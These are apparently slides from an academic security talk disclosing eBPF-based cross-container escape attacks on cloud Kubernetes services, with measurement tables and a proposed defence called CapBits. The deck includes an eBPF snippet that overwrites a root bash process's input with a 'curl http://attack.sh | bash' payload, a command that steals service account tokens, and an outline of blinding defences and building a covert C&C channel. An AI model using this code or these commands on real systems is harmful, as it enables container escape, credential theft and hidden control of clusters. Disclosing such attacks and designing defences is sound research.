Cross Container Attacks: The Bewildered eBPF on Clouds

Yi He, Roland Guo, Yunlong Xing, Xijia Che, Kun Sun, Zhuotao Liu, Ke Xu, Qi Li
eBPF is increasingly popular for Cloud

eBPF is widely used by Cloud for
- Network Management
- Performance Profiling
- Security Monitor

eBPF is a powerful in-kernel virtual machine that provides a safe and efficient way to extend the kernel.
eBPF features could be offensive

Some offensive eBPF *helper functions* of eBPF tracing programs can harm other processes:

- **bpf_probe_write_user()**
  - Write any process's memory

- **bpf_probe_read()**
  - Read any process's memory or kernel's memory

- **bpf_override_return()**
  - Alter return code of a kernel function (e.g., syscalls)

- **bpf_send_signal()**
  - Send signals to kill any process
We identify **eBPF Cross Container Attacks (CVE-2022-42150)** that attackers can abuse various eBPF features to escape the containers and further exploit the whole Kubernetes clusters without being detected by the defending tools.
Local container escape

Some eBPF features are not restricted by the container namespaces and can affect all processes in the kernel.

- eBPF Network Features:
  - Socket Filter
  - Socket Opts
  - XDP/TC
  - ...

- eBPF Tracing Features:
  - eBPF RAW_Tracepoint
  - eBPF KProbe
  - eBPF KRetProbe
  - eBPF UProbe

- Other eBPF Features:
  - eBPF LSM Program
  - eBPF LIRC Program
  - ...

Can affect all processes in the kernel (including those in other containers).

Can only affect the resource in one container.
Local container escape

Steps to hijack the host VM's bash process

1. Trigger on exit → SEC("raw_tracepoint/sys_exit")
   int tp_exit(struct bpf_raw_tracepoint_args *ctx) {
     unsigned long svc;
     struct pt_regs *regs=(struct pt_regs*)(ctx->args[0]);
     // record the fd of the bash process
     if (svc == NR_openat & & is_bash_with_root(ctx)) {
       save_target_bash_fd(ctx);
     }
     // override the read content for the target bash
     if (svc == NR_read) {
       if (is_target_bash_fd(ctx)) {
         char CMD[] = "curl http://attack.sh | bash #";
         char *p = NULL; // ptr for read buf
         int sz = 0; // read size
         bpf_probe_read(&p, sizeof(p), &regs->si);
         bpf_probe_read(&sz, sizeof(sz), &regs->ax);
         if (sz < sizeof(CMD)) {
           record_new_size(ctx, sizeof(CMD));
         }
         bpf_probe_write_user(p, CMD, sizeof(CMD));
       }
     }
   }

2. Step-2: Append malicious commands to the bash files

3. Step-3: Modify the return code of the read syscall

Process DoS attacks
Information theft attacks
Container escape attacks
Local container escape

Attackers can cross-container hijack any processes in the same VM via eBPF based ROP Attacks

Compared to existing container escape attacks [1]:
- the same capabilities (CAP_SYS_ADMIN)
- do not rely on other weakness (e.g., install kernel module, disable Seccomp/AppArmor, exploit kernel vulnerabilities)

Kubernetes cluster attack

On a vulnerable VM (node), all Pods’ service accounts (SA) can be abused by eBPF attackers.

Some Pods have powerful permissions to affect Pods on other nodes.

# steal other Pods' service account tokens
$ export TOKEN=$(evil-ebpf-read /var/run/secrets/kubernetes.io/serviceaccount/token)

# manipulate other nodes
Cloud security center bypassing

Step-1: Blind the cloud defense tools.
Step-2: Build a covert command and control (C&C) channel with eBPF.

Attacker's ip
benign ip

Receive commands from the attacker's IP.

Defenders cannot prevent eBPF attacks if they are unaware that the attacks are performed by eBPF.

Attacks can prevent the defense tools from collecting logs in both user space and kernel.
Threat model

• Assumption: attackers can use eBPF in a container (CAP_SYS_ADMIN + bpf syscall)

• Attacking Goals: control the whole host or cluster without being detected

We check if eBPF is enabled by real world container services.

- Investigate all kinds of real-world container base services (6 real vulnerable services)
- Investigate the Docker Hub container repositories (more than 2.5% containers have eBPF permissions)

eBPF attacks can seriously damage containers, but the container world is not aware of eBPF threats.
eBPF cross container attacks on cloud

Investigating online containers that support running customize code

- Some coding platforms (e.g., Jupyter/Shell) enable eBPF.
- All CI/CD platforms disabled bpf syscall.
- Most online compilers disable both the CAP_SYS_ADMIN and bpf syscall.

<table>
<thead>
<tr>
<th>Service Type</th>
<th>#Platform</th>
<th>#Root</th>
<th>#CAP</th>
<th>#bpf</th>
<th>#Vul</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jupyter</td>
<td>9</td>
<td>7</td>
<td>4</td>
<td>4</td>
<td>4</td>
</tr>
<tr>
<td>Online Labs</td>
<td>2</td>
<td>2</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>CI/CD Platform</td>
<td>8</td>
<td>4</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Online Compiler</td>
<td>5</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

- Some coding platforms (e.g., Jupyter/Shell) enable eBPF.
- All CI/CD platforms disabled bpf syscall.
- Most online compilers disable both the CAP_SYS_ADMIN and bpf syscall.

5 Jupyter/Online Shell platforms support eBPF and all can be escaped by eBPF. 2 of them (●) can access other users’ containers. 3 platforms ( ○) are still isolated by VM.
Attacking container-based services

Investigating various container services of 4 leading cloud vendors

Table 5: The eBPF permission of container-based services on various platforms. R: has root permission, B: enable the bpf system call, C: has CAP_SYS_ADMIN capability, E: container escape. ●: can escape the container but restricted by the VM, ○: can escape the container and harm other containers.

<table>
<thead>
<tr>
<th>Service Name</th>
<th>R</th>
<th>B</th>
<th>C</th>
<th>E</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cloud Shell</td>
<td></td>
<td></td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Alibaba Cloud Shell</td>
<td>×</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Azure Cloud Shell</td>
<td></td>
<td>×</td>
<td>×</td>
<td></td>
</tr>
<tr>
<td>Google Cloud Shell</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>●</td>
</tr>
<tr>
<td>Serverless Function</td>
<td></td>
<td></td>
<td></td>
<td>○</td>
</tr>
<tr>
<td>AWS Lambda</td>
<td></td>
<td>×</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Alibaba Function Compute</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Azure Functions</td>
<td>×</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Google Cloud Functions</td>
<td>×</td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Serverless Container</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>AWS Fargate</td>
<td>✓</td>
<td>×</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Alibaba Elastic Container Instance</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Azure Container Instances</td>
<td></td>
<td>-</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Google Cloud Run Service</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Customized Kubernetes Cluster</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Amazon Elastic Kubernetes Service (EKS)</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>●</td>
</tr>
<tr>
<td>Alibaba Service for Kubernetes (ACK)</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>●</td>
</tr>
<tr>
<td>Azure Kubernetes Service (AKS)</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>●</td>
</tr>
<tr>
<td>Google Kubernetes Engine (GKE)</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td>●</td>
</tr>
</tbody>
</table>

Table 6: The number and percentage of nodes that can be affected (C: Create Pod, U: Update Pod, D: Delete Pod) by insecure Pods.

<table>
<thead>
<tr>
<th>Service</th>
<th>#Pods</th>
<th>#Vul Pods</th>
<th>#DaemonSet Pods</th>
<th>#Affected Node</th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS EKS</td>
<td>12</td>
<td>5</td>
<td>0</td>
<td>0 5 0 100%</td>
</tr>
<tr>
<td>Alibaba ACK</td>
<td>58</td>
<td>30</td>
<td>4</td>
<td>5 5 5 100%</td>
</tr>
<tr>
<td>Azure AKS</td>
<td>31</td>
<td>3</td>
<td>0</td>
<td>0 3 0 60%</td>
</tr>
<tr>
<td>Google GKE</td>
<td>28</td>
<td>0</td>
<td>0</td>
<td>0 0 0 0</td>
</tr>
</tbody>
</table>

Currently, only Alibaba Cloud Security Center notifies that an eBPF program is running and it may be malicious.
Many containers need to run with insecure commands:

C1: —privileged command

C2: —cap-add SYS_ADMIN flag

C3: -v /var/run/docker.sock:/var/run/docker.sock

More than 2.5% of containers inadvertently support eBPF which may be accessed by RCE.

Some eBPF-based security tools also use the offensive eBPF helpers to trigger supply chain attacks.
The bewildered role of eBPF

eBPF has many features with different security levels but has only one permission level (can only enable/disable eBPF as a whole).

People need eBPF to dynamically enforce the system in many scenarios. A high permission (CAP_SYS_ADMIN) cannot prevent people from enabling eBPF, but it introduces more risks to the system.
Limitations in eBPF permission model

Existing eBPF permission model:

```c
static inline bool bpf_capable(void)
{
    return capable(CAP_BPF) || capable(CAP_SYS_ADMIN);
}
```

**Limitation-1:** eBPF shares capabilities (CAP_SYS_ADMIN) with other features and may be unintentionally enabled.

**Limitation-2:** eBPF has only one permission level. Programs with permissions can use all eBPF features and can access the map or code of other eBPF programs.

Existing mitigation to eBPF attacks:

**Solution-1:** Disable bpf syscall in containers (totally disable all eBPF features)

Users need to use eBPF tools

**Solution-2:** Use LSM to only enable eBPF features for trusted eBPF tools

These eBPF tools may suffer supply chain attacks and how to ensure that these tools are trusted?
Our countermeasure CapBits

Our new solution CapBits implements fine-grained eBPF access control by adding attribute bits to each process.

<table>
<thead>
<tr>
<th>task_struct</th>
</tr>
</thead>
<tbody>
<tr>
<td>void *stack;</td>
</tr>
<tr>
<td>...</td>
</tr>
<tr>
<td>u64 cap_bits[4];</td>
</tr>
<tr>
<td>u64 allow_bits[4];</td>
</tr>
</tbody>
</table>

- **cap_bits**: constraint a program’s available eBPF features.
- **allow_bits**: restrict the eBPF features that can affect this process

Prevent the untrusted program using eBPF.

Avoid the process being exploited by eBPF attacks.
CapBits vs LSM

<table>
<thead>
<tr>
<th></th>
<th>Default</th>
<th>CapBit</th>
<th>LSM</th>
<th>LSM-bpf</th>
</tr>
</thead>
<tbody>
<tr>
<td>Program-Load</td>
<td>98 ns</td>
<td>110 ns</td>
<td>479 ns</td>
<td>471 ns</td>
</tr>
<tr>
<td>Code/Map fch</td>
<td>110 ns</td>
<td>103 ns</td>
<td>533 ns</td>
<td>891 ns</td>
</tr>
<tr>
<td>Helper</td>
<td>-</td>
<td>100 ns</td>
<td>524 ns</td>
<td>300 ns</td>
</tr>
<tr>
<td>Namespace</td>
<td>-</td>
<td>113 ns</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

Capbits’s overhead (< 5%) is nearly to the original capability checks of Linux while LSM’s overhead is more than 15%.

CapBits can prevent offensive eBPF features work on specific processes

LSM: allow based on eBPF program name/pid

A forged “trusted” eBPF programs

malicious probes

 Victim Process

CapBits: allow based on eBPF features
Conclusion

- We find that the offensive eBPF features can be exploited in containers and discover the eBPF cross-container attacks.
- We investigate eBPF cross-container attacks in real world.
- We provide a new mechanism to securely use eBPF in containers.
Thank You & Questions?